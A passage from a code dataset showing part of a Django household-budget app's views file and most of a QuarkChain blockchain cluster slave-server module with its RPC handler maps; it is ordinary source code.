owner_or_edit = if_can_edit(budget_id, request)\n return render(\n request,\n \"budget_app/view_category.html\",\n {\n \"category\": category,\n \"base_path\": base_path,\n \"budgets_list\": budgets_list,\n \"categories\": categories,\n \"owner_or_edit\": owner_or_edit,\n \"budget\": budget,\n },\n )\n\n\n@login_required(login_url=\"login\")\ndef add_income(\n request, budget_id, base_path=base_path, budget_base_path=budget_base_path\n):\n form = ExpenseIncomeForm(budget_id, True, request.POST)\n if request.method == \"POST\":\n form = ExpenseIncomeForm(budget_id, True, request.POST)\n if form.is_valid():\n income = form.save(commit=False)\n budget = Budget.objects.get(id=budget_id)\n income.budget_id = budget\n income.save()\n messages.success(request, \"Income added successfully!\")\n form = ExpenseIncomeForm(budget_id, True)\n else:\n form = ExpenseIncomeForm(budget_id=budget_id)\n budgets_list = get_budget_list(request)\n users = get_user_list(budget_id)\n owner_or_edit = if_can_edit(budget_id, request)\n categories = Category.objects.filter(budget_id=budget_id)\n budget = Budget.objects.get(id=budget_id)\n return render(\n request,\n \"budget_app/form.html\",\n {\n \"form\": form,\n \"budget_id\": budget_id,\n \"budget_base_path\": budget_base_path,\n \"base_path\": base_path,\n \"budgets_list\": budgets_list,\n \"users\": users,\n \"owner_or_edit\": owner_or_edit,\n \"categories\": categories,\n \"budget\": budget\n },\n )\n\n\n@login_required(login_url=\"login\")\ndef add_expense(\n request, budget_id, base_path=base_path, budget_base_path=budget_base_path\n):\n form = ExpenseIncomeForm(budget_id, False, request.POST)\n if request.method == \"POST\":\n form = ExpenseIncomeForm(budget_id, False, request.POST)\n if form.is_valid():\n income = form.save(commit=False)\n budget = Budget.objects.get(id=budget_id)\n income.budget_id = budget\n income.save()\n messages.success(request, 'Expense added successfully!')\n form = ExpenseIncomeForm(budget_id, False)\n else:\n form = ExpenseIncomeForm(budget_id, False)\n users = get_user_list(budget_id)\n budgets_list = get_budget_list(request)\n owner_or_edit = if_can_edit(budget_id, request)\n categories = Category.objects.filter(budget_id=budget_id)\n budget = Budget.objects.get(id=budget_id)\n return render(\n request,\n \"budget_app/form.html\",\n {\n \"form\": form,\n \"budget_id\": budget_id,\n \"budget_base_path\": budget_base_path,\n \"base_path\": base_path,\n \"budgets_list\": budgets_list,\n \"users\": users,\n \"owner_or_edit\": owner_or_edit,\n \"categories\": categories,\n \"budget\": budget})\n# Dodawanie istniejacego uzytkownika do budzetu\n\n\n@login_required(login_url=\"login\")\ndef add_user(\n request, budget_id, base_path=base_path, budget_base_path=budget_base_path\n):\n usernames = list(User.objects.filter(\n ~Q(id=request.user.id)).values_list('username', flat=True))\n usernames_list = enumerate(usernames)\n if request.method == \"POST\":\n form = AddUserForm(usernames_list, request.POST)\n if form.is_valid():\n budget = Budget.objects.get(id=budget_id)\n try:\n username = usernames[int(form.cleaned_data['name'])]\n user = User.objects.get(username=username)\n except User.DoesNotExist:\n user = None\n messages.error(\n request, 'User not found')\n\n if user:\n permision = Role['EDIT'].value if form.cleaned_data['write'] else Role['VIEW'].value\n if not BudgetUser.objects.filter(user_id=user, budget_id=budget):\n bu = BudgetUser(\n user_id=user, budget_id=budget, role=permision)\n bu.save()\n messages.success(request, 'User added successfully!')\n else:\n messages.error(\n request, 'User is already added')\n else:\n form = AddUserForm(usernames_list,)\n budgets_list = get_budget_list(request)\n categories = Category.objects.filter(budget_id=budget_id)\n owner_or_edit = if_can_edit(budget_id, request)\n users = get_user_list(budget_id)\n budget = Budget.objects.get(id=budget_id)\n return render(\n request,\n \"budget_app/form.html\",\n {\"form\": form,\n \"base_path\": base_path,\n \"budget_base_path\": budget_base_path,\n \"budgets_list\": budgets_list,\n \"categories\": categories,\n \"owner_or_edit\": owner_or_edit,\n \"users\": users,\n \"budget\": budget\n },\n )\n@login_required(login_url=\"login\")\ndef view_entries(request, budget_id, base_path=base_path, budget_base_path=budget_base_path):\n if request.get_full_path().split('/')[-2].split('_')[-1] == \"incomes\":\n incomes = True\n else:\n incomes = False\n expenseincome = ExpenseIncome.objects.filter(budget_id=budget_id)\n budgets_list = get_budget_list(request)\n categories = Category.objects.filter(budget_id=budget_id)\n owner_or_edit = if_can_edit(budget_id, request)\n users = get_user_list(budget_id)\n budget = Budget.objects.get(id=budget_id)\n expenseincome_json = pd.DataFrame(\n expenseincome).reset_index().to_json(orient='records')\n data = []\n data = json.loads(expenseincome_json)\n params = {\n \"base_path\": base_path,\n \"budget_base_path\": budget_base_path,\n \"budgets_list\": budgets_list,\n \"categories\": categories,\n \"owner_or_edit\": owner_or_edit,\n \"users\": users,\n \"budget\": budget,\n \"expenseincome\":expenseincome,\n \"d\":data,\n \"incomes\":incomes\n }\n return render(request, \"budget_app/view_entries.html\", params)\n \ndef delete_entry(request,budget_id, entry_id):\n entry = ExpenseIncome.objects.get(id=entry_id)\n if entry.category_id.is_income_category():\n type_of_entry = \"/view_incomes/\"\n else:\n type_of_entry = \"/view_expenses/\"\n entry.delete()\n redirect_path = '/budgets/' + str(budget_id) + type_of_entry\n return redirect(redirect_path)\n@login_required(login_url=\"login\")\ndef homepage(request):\n try:\n budgets_list = get_budget_list(request)\n except Exception:\n budgets_list = False\n return render(request, 'budget_app/homepage1.html', {\"budgets_list\":budgets_list})","repo_name":"bartek412/household_budget","sub_path":"budget_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":15307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"43794661266","text":"import argparse\nimport asyncio\nimport errno\nimport os\nimport cProfile\nfrom typing import Optional, Tuple, Dict, List, Union\n\nfrom quarkchain.cluster.cluster_config import ClusterConfig\nfrom quarkchain.cluster.miner import MiningWork\nfrom quarkchain.cluster.neighbor import is_neighbor\nfrom quarkchain.cluster.p2p_commands import CommandOp, GetMinorBlockListRequest\nfrom quarkchain.cluster.protocol import (\n ClusterConnection,\n ForwardingVirtualConnection,\n NULL_CONNECTION,\n)\nfrom quarkchain.cluster.rpc import (\n AddMinorBlockHeaderRequest,\n GetLogRequest,\n GetLogResponse,\n EstimateGasRequest,\n EstimateGasResponse,\n ExecuteTransactionRequest,\n GetStorageRequest,\n GetStorageResponse,\n GetCodeResponse,\n GetCodeRequest,\n GasPriceRequest,\n GasPriceResponse,\n GetAccountDataRequest,\n GetWorkRequest,\n GetWorkResponse,\n SubmitWorkRequest,\n SubmitWorkResponse,\n AddMinorBlockHeaderListRequest,\n CheckMinorBlockResponse,\n GetAllTransactionsResponse,\n GetMinorBlockRequest,\n MinorBlockExtraInfo,\n GetRootChainStakesRequest,\n GetRootChainStakesResponse,\n GetTotalBalanceRequest,\n GetTotalBalanceResponse,\n)\nfrom quarkchain.cluster.rpc import (\n AddRootBlockResponse,\n EcoInfo,\n GetEcoInfoListResponse,\n GetNextBlockToMineResponse,\n AddMinorBlockResponse,\n HeadersInfo,\n GetUnconfirmedHeadersResponse,\n GetAccountDataResponse,\n AddTransactionResponse,\n CreateClusterPeerConnectionResponse,\n SyncMinorBlockListResponse,\n GetMinorBlockResponse,\n GetTransactionResponse,\n AccountBranchData,\n BatchAddXshardTxListRequest,\n BatchAddXshardTxListResponse,\n MineResponse,\n GenTxResponse,\n GetTransactionListByAddressResponse,\n)\nfrom quarkchain.cluster.rpc import AddXshardTxListRequest, AddXshardTxListResponse\nfrom quarkchain.cluster.rpc import (\n ConnectToSlavesResponse,\n ClusterOp,\n CLUSTER_OP_SERIALIZER_MAP,\n Ping,\n Pong,\n ExecuteTransactionResponse,\n GetTransactionReceiptResponse,\n SlaveInfo,\n)\nfrom quarkchain.cluster.shard import Shard, PeerShardConnection\nfrom quarkchain.constants import SYNC_TIMEOUT\nfrom quarkchain.core import Branch, TypedTransaction, Address, Log\nfrom quarkchain.core import (\n CrossShardTransactionList,\n MinorBlock,\n MinorBlockHeader,\n MinorBlockMeta,\n RootBlock,\n RootBlockHeader,\n TransactionReceipt,\n TokenBalanceMap,\n)\nfrom quarkchain.env import DEFAULT_ENV\nfrom quarkchain.protocol import Connection\nfrom quarkchain.utils import check, Logger\n\n\nclass MasterConnection(ClusterConnection):\n def __init__(self, env, reader, writer, slave_server, name=None):\n super().__init__(\n env,\n reader,\n writer,\n CLUSTER_OP_SERIALIZER_MAP,\n MASTER_OP_NONRPC_MAP,\n MASTER_OP_RPC_MAP,\n name=name,\n )\n self.loop = asyncio.get_event_loop()\n self.env = env\n self.slave_server = slave_server # type: SlaveServer\n self.shards = slave_server.shards # type: Dict[Branch, Shard]\n\n asyncio.ensure_future(self.active_and_loop_forever())\n\n # cluster_peer_id -> {branch_value -> shard_conn}\n self.v_conn_map = dict()\n\n def get_connection_to_forward(self, metadata):\n \"\"\" Override ProxyConnection.get_connection_to_forward()\n \"\"\"\n if metadata.cluster_peer_id == 0:\n # RPC from master\n return None\n\n if (\n metadata.branch.get_full_shard_id()\n not in self.env.quark_chain_config.get_full_shard_ids()\n ):\n self.close_with_error(\n \"incorrect forwarding branch {}\".format(metadata.branch.to_str())\n )\n\n shard = self.shards.get(metadata.branch, None)\n if not shard:\n # shard has not been created yet\n return NULL_CONNECTION\n\n peer_shard_conn = shard.peers.get(metadata.cluster_peer_id, None)\n if peer_shard_conn is None:\n # Master can close the peer connection at any time\n # TODO: any way to avoid this race?\n Logger.warning_every_sec(\n \"cannot find peer shard conn for cluster id {}\".format(\n metadata.cluster_peer_id\n ),\n 1,\n )\n return NULL_CONNECTION\n\n return peer_shard_conn.get_forwarding_connection()\n\n def validate_connection(self, connection):\n return connection == NULL_CONNECTION or isinstance(\n connection, ForwardingVirtualConnection\n )\n\n def close(self):\n for shard in self.shards.values():\n for peer_shard_conn in shard.peers.values():\n peer_shard_conn.get_forwarding_connection().close()\n\n Logger.info(\"Lost connection with master. Shutting down slave ...\")\n super().close()\n self.slave_server.shutdown()\n\n def close_with_error(self, error):\n Logger.info(\"Closing connection with master: {}\".format(error))\n return super().close_with_error(error)\n\n def close_connection(self, conn):\n \"\"\" TODO: Notify master that the connection is closed by local.\n The master should close the peer connection, and notify the other slaves that a close happens\n More hint could be provided so that the master may blacklist the peer if it is mis-behaving\n \"\"\"\n pass\n\n # Cluster RPC handlers\n\n async def handle_ping(self, ping):\n if ping.root_tip:\n await self.slave_server.create_shards(ping.root_tip)\n return Pong(self.slave_server.id, self.slave_server.full_shard_id_list)\n\n async def handle_connect_to_slaves_request(self, connect_to_slave_request):\n \"\"\"\n Master sends in the slave list. Let's connect to them.\n Skip self and slaves already connected.\n \"\"\"\n futures = []\n for slave_info in connect_to_slave_request.slave_info_list:\n futures.append(\n self.slave_server.slave_connection_manager.connect_to_slave(slave_info)\n )\n result_str_list = await asyncio.gather(*futures)\n result_list = [bytes(result_str, \"ascii\") for result_str in result_str_list]\n return ConnectToSlavesResponse(result_list)\n\n async def handle_mine_request(self, request):\n if request.mining:\n self.slave_server.start_mining(request.artificial_tx_config)\n else:\n self.slave_server.stop_mining()\n return MineResponse(error_code=0)\n\n async def handle_gen_tx_request(self, request):\n self.slave_server.create_transactions(\n request.num_tx_per_shard, request.x_shard_percent, request.tx\n )\n return GenTxResponse(error_code=0)\n\n # Blockchain RPC handlers\n\n async def handle_add_root_block_request(self, req):\n # TODO: handle expect_switch\n error_code = 0\n switched = False\n for shard in self.shards.values():\n try:\n switched = await shard.add_root_block(req.root_block)\n except ValueError:\n Logger.log_exception()\n return AddRootBlockResponse(errno.EBADMSG, False)\n\n await self.slave_server.create_shards(req.root_block)\n\n return AddRootBlockResponse(error_code, switched)\n\n async def handle_get_eco_info_list_request(self, _req):\n eco_info_list = []\n for branch, shard in self.shards.items():\n if not shard.state.initialized:\n continue\n eco_info_list.append(\n EcoInfo(\n branch=branch,\n height=shard.state.header_tip.height + 1,\n coinbase_amount=shard.state.get_next_block_coinbase_amount(),\n difficulty=shard.state.get_next_block_difficulty(),\n unconfirmed_headers_coinbase_amount=shard.state.get_unconfirmed_headers_coinbase_amount(),\n )\n )\n return GetEcoInfoListResponse(error_code=0, eco_info_list=eco_info_list)\n\n async def handle_get_next_block_to_mine_request(self, req):\n shard = self.shards.get(req.branch, None)\n check(shard is not None)\n block = shard.state.create_block_to_mine(address=req.address)\n response = GetNextBlockToMineResponse(error_code=0, block=block)\n return response\n\n async def handle_add_minor_block_request(self, req):\n \"\"\" For local miner to submit mined blocks through master \"\"\"\n try:\n block = MinorBlock.deserialize(req.minor_block_data)\n except Exception:\n return AddMinorBlockResponse(error_code=errno.EBADMSG)\n shard = self.shards.get(block.header.branch, None)\n if not shard:\n return AddMinorBlockResponse(error_code=errno.EBADMSG)\n\n if block.header.hash_prev_minor_block != shard.state.header_tip.get_hash():\n # Tip changed, don't bother creating a fork\n Logger.info(\n \"[{}] dropped stale block {} mined locally\".format(\n block.header.branch.to_str(), block.header.height\n )\n )\n return AddMinorBlockResponse(error_code=0)\n\n success = await shard.add_block(block)\n return AddMinorBlockResponse(error_code=0 if success else errno.EFAULT)\n\n async def handle_check_minor_block_request(self, req):\n shard = self.shards.get(req.minor_block_header.branch, None)\n if not shard:\n return CheckMinorBlockResponse(error_code=errno.EBADMSG)\n\n try:\n shard.check_minor_block_by_header(req.minor_block_header)\n except Exception as e:\n Logger.error_exception()\n return CheckMinorBlockResponse(error_code=errno.EBADMSG)\n\n return CheckMinorBlockResponse(error_code=0)\n\n async def handle_get_unconfirmed_header_list_request(self, _req):\n headers_info_list = []\n for branch, shard in self.shards.items():\n if not shard.state.initialized:\n continue\n headers_info_list.append(\n HeadersInfo(\n branch=branch, header_list=shard.state.get_unconfirmed_header_list()\n )\n )\n return GetUnconfirmedHeadersResponse(\n error_code=0, headers_info_list=headers_info_list\n )\n\n async def handle_get_account_data_request(\n self, req: GetAccountDataRequest\n ) -> GetAccountDataResponse:\n account_branch_data_list = self.slave_server.get_account_data(\n req.address, req.block_height\n )\n return GetAccountDataResponse(\n error_code=0, account_branch_data_list=account_branch_data_list\n )\n\n async def handle_add_transaction(self, req):\n success = self.slave_server.add_tx(req.tx)\n return AddTransactionResponse(error_code=0 if success else 1)\n\n async def handle_execute_transaction(\n self, req: ExecuteTransactionRequest\n ) -> ExecuteTransactionResponse:\n res = self.slave_server.execute_tx(req.tx, req.from_address, req.block_height)\n fail = res is None\n return ExecuteTransactionResponse(\n error_code=int(fail), result=res if not fail else b\"\"\n )\n\n async def handle_destroy_cluster_peer_connection_command(self, op, cmd, rpc_id):\n self.slave_server.remove_cluster_peer_id(cmd.cluster_peer_id)\n\n for shard in self.shards.values():\n peer_shard_conn = shard.peers.pop(cmd.cluster_peer_id, None)\n if peer_shard_conn:\n peer_shard_conn.get_forwarding_connection().close()\n\n async def handle_create_cluster_peer_connection_request(self, req):\n self.slave_server.add_cluster_peer_id(req.cluster_peer_id)\n\n shard_to_conn = dict()\n active_futures = []\n for shard in self.shards.values():\n if req.cluster_peer_id in shard.peers:\n Logger.error(\n \"duplicated create cluster peer connection {}\".format(\n req.cluster_peer_id\n )\n )\n continue\n\n peer_shard_conn = PeerShardConnection(\n master_conn=self,\n cluster_peer_id=req.cluster_peer_id,\n shard=shard,\n name=\"{}_vconn_{}\".format(self.name, req.cluster_peer_id),\n )\n asyncio.ensure_future(peer_shard_conn.active_and_loop_forever())\n active_futures.append(peer_shard_conn.active_future)\n shard_to_conn[shard] = peer_shard_conn\n\n # wait for all the connections to become active before return\n await asyncio.gather(*active_futures)\n\n # Make peer connection available to shard once they are active\n for shard, peer_shard_conn in shard_to_conn.items():\n shard.add_peer(peer_shard_conn)\n\n return CreateClusterPeerConnectionResponse(error_code=0)\n\n async def handle_get_minor_block_request(self, req: GetMinorBlockRequest):\n if req.minor_block_hash != bytes(32):\n block, extra_info = self.slave_server.get_minor_block_by_hash(\n req.minor_block_hash, req.branch, req.need_extra_info\n )\n else:\n block, extra_info = self.slave_server.get_minor_block_by_height(\n req.height, req.branch, req.need_extra_info\n )\n\n if not block:\n empty_block = MinorBlock(MinorBlockHeader(), MinorBlockMeta())\n return GetMinorBlockResponse(error_code=1, minor_block=empty_block)\n\n return GetMinorBlockResponse(\n error_code=0,\n minor_block=block,\n extra_info=extra_info and MinorBlockExtraInfo(**extra_info),\n )\n\n async def handle_get_transaction_request(self, req):\n minor_block, i = self.slave_server.get_transaction_by_hash(\n req.tx_hash, req.branch\n )\n if not minor_block:\n empty_block = MinorBlock(MinorBlockHeader(), MinorBlockMeta())\n return GetTransactionResponse(\n error_code=1, minor_block=empty_block, index=0\n )\n\n return GetTransactionResponse(error_code=0, minor_block=minor_block, index=i)\n\n async def handle_get_transaction_receipt_request(self, req):\n resp = self.slave_server.get_transaction_receipt(req.tx_hash, req.branch)\n if not resp:\n empty_block = MinorBlock(MinorBlockHeader(), MinorBlockMeta())\n empty_receipt = TransactionReceipt.create_empty_receipt()\n return GetTransactionReceiptResponse(\n error_code=1, minor_block=empty_block, index=0, receipt=empty_receipt\n )\n minor_block, i, receipt = resp\n return GetTransactionReceiptResponse(\n error_code=0, minor_block=minor_block, index=i, receipt=receipt\n )\n\n async def handle_get_all_transaction_request(self, req):\n result = self.slave_server.get_all_transactions(\n req.branch, req.start, req.limit\n )\n if not result:\n return GetAllTransactionsResponse(error_code=1, tx_list=[], next=b\"\")\n return GetAllTransactionsResponse(\n error_code=0, tx_list=result[0], next=result[1]\n )\n\n async def handle_get_transaction_list_by_address_request(self, req):\n result = self.slave_server.get_transaction_list_by_address(\n req.address, req.transfer_token_id, req.start, req.limit\n )\n if not result:\n return GetTransactionListByAddressResponse(\n error_code=1, tx_list=[], next=b\"\"\n )\n return GetTransactionListByAddressResponse(\n error_code=0, tx_list=result[0], next=result[1]\n )\n\n async def handle_sync_minor_block_list_request(self, req):\n \"\"\" Raises on error\"\"\"\n\n async def __download_blocks(block_hash_list):\n op, resp, rpc_id = await peer_shard_conn.write_rpc_request(\n CommandOp.GET_MINOR_BLOCK_LIST_REQUEST,\n GetMinorBlockListRequest(block_hash_list),\n )\n return resp.minor_block_list\n\n shard = self.shards.get(req.branch, None)\n if not shard:\n return SyncMinorBlockListResponse(error_code=errno.EBADMSG)\n peer_shard_conn = shard.peers.get(req.cluster_peer_id, None)\n if not peer_shard_conn:\n return SyncMinorBlockListResponse(error_code=errno.EBADMSG)\n\n BLOCK_BATCH_SIZE = 100\n block_hash_list = req.minor_block_hash_list\n block_coinbase_map = {}\n # empty\n if not block_hash_list:\n return SyncMinorBlockListResponse(error_code=0)\n\n try:\n while len(block_hash_list) > 0:\n blocks_to_download = block_hash_list[:BLOCK_BATCH_SIZE]\n try:\n block_chain = await asyncio.wait_for(\n __download_blocks(blocks_to_download), SYNC_TIMEOUT\n )\n except asyncio.TimeoutError as e:\n Logger.info(\n \"[{}] sync request from master failed due to timeout\".format(\n req.branch.to_str()\n )\n )\n raise e\n\n Logger.info(\n \"[{}] sync request from master, downloaded {} blocks ({} - {})\".format(\n req.branch.to_str(),\n len(block_chain),\n block_chain[0].header.height,\n block_chain[-1].header.height,\n )\n )\n\n # Step 1: Check if the len is correct\n if len(block_chain) != len(blocks_to_download):\n raise RuntimeError(\n \"Failed to add minor blocks for syncing root block: \"\n + \"length of downloaded block list is incorrect\"\n )\n\n # Step 2: Check if the blocks are valid\n (\n add_block_success,\n coinbase_amount_list,\n ) = await self.slave_server.add_block_list_for_sync(block_chain)\n if not add_block_success:\n raise RuntimeError(\n \"Failed to add minor blocks for syncing root block\"\n )\n check(len(blocks_to_download) == len(coinbase_amount_list))\n for hash, coinbase in zip(blocks_to_download, coinbase_amount_list):\n block_coinbase_map[hash] = coinbase\n block_hash_list = block_hash_list[BLOCK_BATCH_SIZE:]\n\n branch = block_chain[0].header.branch\n shard = self.slave_server.shards.get(branch, None)\n check(shard is not None)\n return SyncMinorBlockListResponse(\n error_code=0,\n shard_stats=shard.state.get_shard_stats(),\n block_coinbase_map=block_coinbase_map,\n )\n except Exception:\n Logger.error_exception()\n return SyncMinorBlockListResponse(error_code=1)\n\n async def handle_get_logs(self, req: GetLogRequest) -> GetLogResponse:\n res = self.slave_server.get_logs(\n req.addresses, req.topics, req.start_block, req.end_block, req.branch\n )\n fail = res is None\n return GetLogResponse(\n error_code=int(fail),\n logs=res or [], # `None` will be converted to empty list\n )\n\n async def handle_estimate_gas(self, req: EstimateGasRequest) -> EstimateGasResponse:\n res = self.slave_server.estimate_gas(req.tx, req.from_address)\n fail = res is None\n return EstimateGasResponse(error_code=int(fail), result=res or 0)\n\n async def handle_get_storage_at(self, req: GetStorageRequest) -> GetStorageResponse:\n res = self.slave_server.get_storage_at(req.address, req.key, req.block_height)\n fail = res is None\n return GetStorageResponse(error_code=int(fail), result=res or b\"\")\n\n async def handle_get_code(self, req: GetCodeRequest) -> GetCodeResponse:\n res = self.slave_server.get_code(req.address, req.block_height)\n fail = res is None\n return GetCodeResponse(error_code=int(fail), result=res or b\"\")\n\n async def handle_gas_price(self, req: GasPriceRequest) -> GasPriceResponse:\n res = self.slave_server.gas_price(req.branch, req.token_id)\n fail = res is None\n return GasPriceResponse(error_code=int(fail), result=res or 0)\n\n async def handle_get_work(self, req: GetWorkRequest) -> GetWorkResponse:\n res = await self.slave_server.get_work(req.branch, req.coinbase_addr)\n if not res:\n return GetWorkResponse(error_code=1)\n return GetWorkResponse(\n error_code=0,\n header_hash=res.hash,\n height=res.height,\n difficulty=res.difficulty,\n )\n\n async def handle_submit_work(self, req: SubmitWorkRequest) -> SubmitWorkResponse:\n res = await self.slave_server.submit_work(\n req.branch, req.header_hash, req.nonce, req.mixhash\n )\n if res is None:\n return SubmitWorkResponse(error_code=1, success=False)\n\n return SubmitWorkResponse(error_code=0, success=res)\n\n async def handle_get_root_chain_stakes(\n self, req: GetRootChainStakesRequest\n ) -> GetRootChainStakesResponse:\n stakes, signer = self.slave_server.get_root_chain_stakes(\n req.address, req.minor_block_hash\n )\n return GetRootChainStakesResponse(0, stakes, signer)\n\n async def handle_get_total_balance(\n self, req: GetTotalBalanceRequest\n ) -> GetTotalBalanceResponse:\n error_code = 0\n try:\n total_balance, next_start = self.slave_server.get_total_balance(\n req.branch,\n req.start,\n req.token_id,\n req.minor_block_hash,\n req.root_block_hash,\n req.limit,\n )\n return GetTotalBalanceResponse(error_code, total_balance, next_start)\n except Exception:\n error_code = 1\n return GetTotalBalanceResponse(error_code, 0, b\"\")\n\n\nMASTER_OP_NONRPC_MAP = {\n ClusterOp.DESTROY_CLUSTER_PEER_CONNECTION_COMMAND: MasterConnection.handle_destroy_cluster_peer_connection_command\n}\n\nMASTER_OP_RPC_MAP = {\n ClusterOp.PING: (ClusterOp.PONG, MasterConnection.handle_ping),\n ClusterOp.CONNECT_TO_SLAVES_REQUEST: (\n ClusterOp.CONNECT_TO_SLAVES_RESPONSE,\n MasterConnection.handle_connect_to_slaves_request,\n ),\n ClusterOp.MINE_REQUEST: (\n ClusterOp.MINE_RESPONSE,\n MasterConnection.handle_mine_request,\n ),\n ClusterOp.GEN_TX_REQUEST: (\n ClusterOp.GEN_TX_RESPONSE,\n MasterConnection.handle_gen_tx_request,\n ),\n ClusterOp.ADD_ROOT_BLOCK_REQUEST: (\n ClusterOp.ADD_ROOT_BLOCK_RESPONSE,\n MasterConnection.handle_add_root_block_request,\n ),\n ClusterOp.GET_ECO_INFO_LIST_REQUEST: (\n ClusterOp.GET_ECO_INFO_LIST_RESPONSE,\n MasterConnection.handle_get_eco_info_list_request,\n ),\n ClusterOp.GET_NEXT_BLOCK_TO_MINE_REQUEST: (\n ClusterOp.GET_NEXT_BLOCK_TO_MINE_RESPONSE,\n MasterConnection.handle_get_next_block_to_mine_request,\n ),\n ClusterOp.ADD_MINOR_BLOCK_REQUEST: (\n ClusterOp.ADD_MINOR_BLOCK_RESPONSE,\n MasterConnection.handle_add_minor_block_request,\n ),\n ClusterOp.GET_UNCONFIRMED_HEADERS_REQUEST: (\n ClusterOp.GET_UNCONFIRMED_HEADERS_RESPONSE,\n MasterConnection.handle_get_unconfirmed_header_list_request,\n ),\n ClusterOp.GET_ACCOUNT_DATA_REQUEST: (\n ClusterOp.GET_ACCOUNT_DATA_RESPONSE,\n MasterConnection.handle_get_account_data_request,\n ),\n ClusterOp.ADD_TRANSACTION_REQUEST: (\n ClusterOp.ADD_TRANSACTION_RESPONSE,\n MasterConnection.handle_add_transaction,\n ),\n ClusterOp.CREATE_CLUSTER_PEER_CONNECTION_REQUEST: (\n ClusterOp.CREATE_CLUSTER_PEER_CONNECTION_RESPONSE,\n MasterConnection.handle_create_cluster_peer_connection_request,\n ),\n ClusterOp.GET_MINOR_BLOCK_REQUEST: (\n ClusterOp.GET_MINOR_BLOCK_RESPONSE,\n MasterConnection.handle_get_minor_block_request,\n ),\n ClusterOp.GET_TRANSACTION_REQUEST: (\n ClusterOp.GET_TRANSACTION_RESPONSE,\n MasterConnection.handle_get_transaction_request,\n ),\n ClusterOp.SYNC_MINOR_BLOCK_LIST_REQUEST: (\n ClusterOp.SYNC_MINOR_BLOCK_LIST_RESPONSE,\n MasterConnection.handle_sync_minor_block_list_request,\n ),\n ClusterOp.EXECUTE_TRANSACTION_REQUEST: (\n ClusterOp.EXECUTE_TRANSACTION_RESPONSE,\n MasterConnection.handle_execute_transaction,\n ),\n ClusterOp.GET_TRANSACTION_RECEIPT_REQUEST: (\n ClusterOp.GET_TRANSACTION_RECEIPT_RESPONSE,\n MasterConnection.handle_get_transaction_receipt_request,\n ),\n ClusterOp.GET_TRANSACTION_LIST_BY_ADDRESS_REQUEST: (\n ClusterOp.GET_TRANSACTION_LIST_BY_ADDRESS_RESPONSE,\n MasterConnection.handle_get_transaction_list_by_address_request,\n ),\n ClusterOp.GET_LOG_REQUEST: (\n ClusterOp.GET_LOG_RESPONSE,\n MasterConnection.handle_get_logs,\n ),\n ClusterOp.ESTIMATE_GAS_REQUEST: (\n ClusterOp.ESTIMATE_GAS_RESPONSE,\n MasterConnection.handle_estimate_gas,\n ),\n ClusterOp.GET_STORAGE_REQUEST: (\n ClusterOp.GET_STORAGE_RESPONSE,\n MasterConnection.handle_get_storage_at,\n ),\n ClusterOp.GET_CODE_REQUEST: (\n ClusterOp.GET_CODE_RESPONSE,\n MasterConnection.handle_get_code,\n ),\n ClusterOp.GAS_PRICE_REQUEST: (\n ClusterOp.GAS_PRICE_RESPONSE,\n MasterConnection.handle_gas_price,\n ),\n ClusterOp.GET_WORK_REQUEST: (\n ClusterOp.GET_WORK_RESPONSE,\n MasterConnection.handle_get_work,\n ),\n ClusterOp.SUBMIT_WORK_REQUEST: (\n ClusterOp.SUBMIT_WORK_RESPONSE,\n MasterConnection.handle_submit_work,\n ),\n ClusterOp.CHECK_MINOR_BLOCK_REQUEST: (\n ClusterOp.CHECK_MINOR_BLOCK_RESPONSE,\n MasterConnection.handle_check_minor_block_request,\n ),\n ClusterOp.GET_ALL_TRANSACTIONS_REQUEST: (\n ClusterOp.GET_ALL_TRANSACTIONS_RESPONSE,\n MasterConnection.handle_get_all_transaction_request,\n ),\n ClusterOp.GET_ROOT_CHAIN_STAKES_REQUEST: (\n ClusterOp.GET_ROOT_CHAIN_STAKES_RESPONSE,\n MasterConnection.handle_get_root_chain_stakes,\n ),\n ClusterOp.GET_TOTAL_BALANCE_REQUEST: (\n ClusterOp.GET_TOTAL_BALANCE_RESPONSE,\n MasterConnection.handle_get_total_balance,\n ),\n}\n\n\nclass SlaveConnection(Connection):\n def __init__(\n self, env, reader, writer, slave_server, slave_id, full_shard_id_list, name=None\n ):\n super().__init__(\n env,\n reader,\n writer,\n CLUSTER_OP_SERIALIZER_MAP,\n SLAVE_OP_NONRPC_MAP,\n SLAVE_OP_RPC_MAP,\n name=name,\n )\n self.slave_server = slave_server\n self.id = slave_id\n self.full_shard_id_list = full_shard_id_list\n self.shards = self.slave_server.shards\n\n self.ping_received_future = asyncio.get_event_loop().create_future()\n\n asyncio.ensure_future(self.active_and_loop_forever())\n\n async def wait_until_ping_received(self):\n await self.ping_received_future\n\n def close_with_error(self, error):\n Logger.info(\"Closing connection with slave {}\".format(self.id))\n return super().close_with_error(error)\n\n async def send_ping(self):\n # TODO: Send real root tip and allow shards to confirm each other\n req = Ping(\n self.slave_server.id,\n self.slave_server.full_shard_id_list,\n RootBlock(RootBlockHeader()),\n )\n op, resp, rpc_id = await self.write_rpc_request(ClusterOp.PING, req)\n return (resp.id, resp.full_shard_id_list)\n\n # Cluster RPC handlers\n\n async def handle_ping(self, ping: Ping):\n if not self.id:\n self.id = ping.id\n self.full_shard_id_list = ping.full_shard_id_list\n\n if len(self.full_shard_id_list) == 0:\n return self.close_with_error(\n \"Empty shard mask list from slave {}\".format(self.id)\n )\n\n self.ping_received_future.set_result(None)\n\n return Pong(self.slave_server.id, self.slave_server.full_shard_id_list)\n\n # Blockchain RPC handlers\n\n async def handle_add_xshard_tx_list_request(self, req):\n if req.branch not in self.shards:\n Logger.error(\n \"cannot find shard id {} locally\".format(req.branch.get_full_shard_id())\n )\n return AddXshardTxListResponse(error_code=errno.ENOENT)\n\n self.shards[req.branch].state.add_cross_shard_tx_list_by_minor_block_hash(\n req.minor_block_hash, req.tx_list\n )\n return AddXshardTxListResponse(error_code=0)\n\n async def handle_batch_add_xshard_tx_list_request(self, batch_request):\n for request in batch_request.add_xshard_tx_list_request_list:\n response = await self.handle_add_xshard_tx_list_request(request)\n if response.error_code != 0:\n return BatchAddXshardTxListResponse(error_code=response.error_code)\n return BatchAddXshardTxListResponse(error_code=0)\n\n\nSLAVE_OP_NONRPC_MAP = {}\n\nSLAVE_OP_RPC_MAP = {\n ClusterOp.PING: (ClusterOp.PONG, SlaveConnection.handle_ping),\n ClusterOp.ADD_XSHARD_TX_LIST_REQUEST: (\n ClusterOp.ADD_XSHARD_TX_LIST_RESPONSE,\n SlaveConnection.handle_add_xshard_tx_list_request,\n ),\n 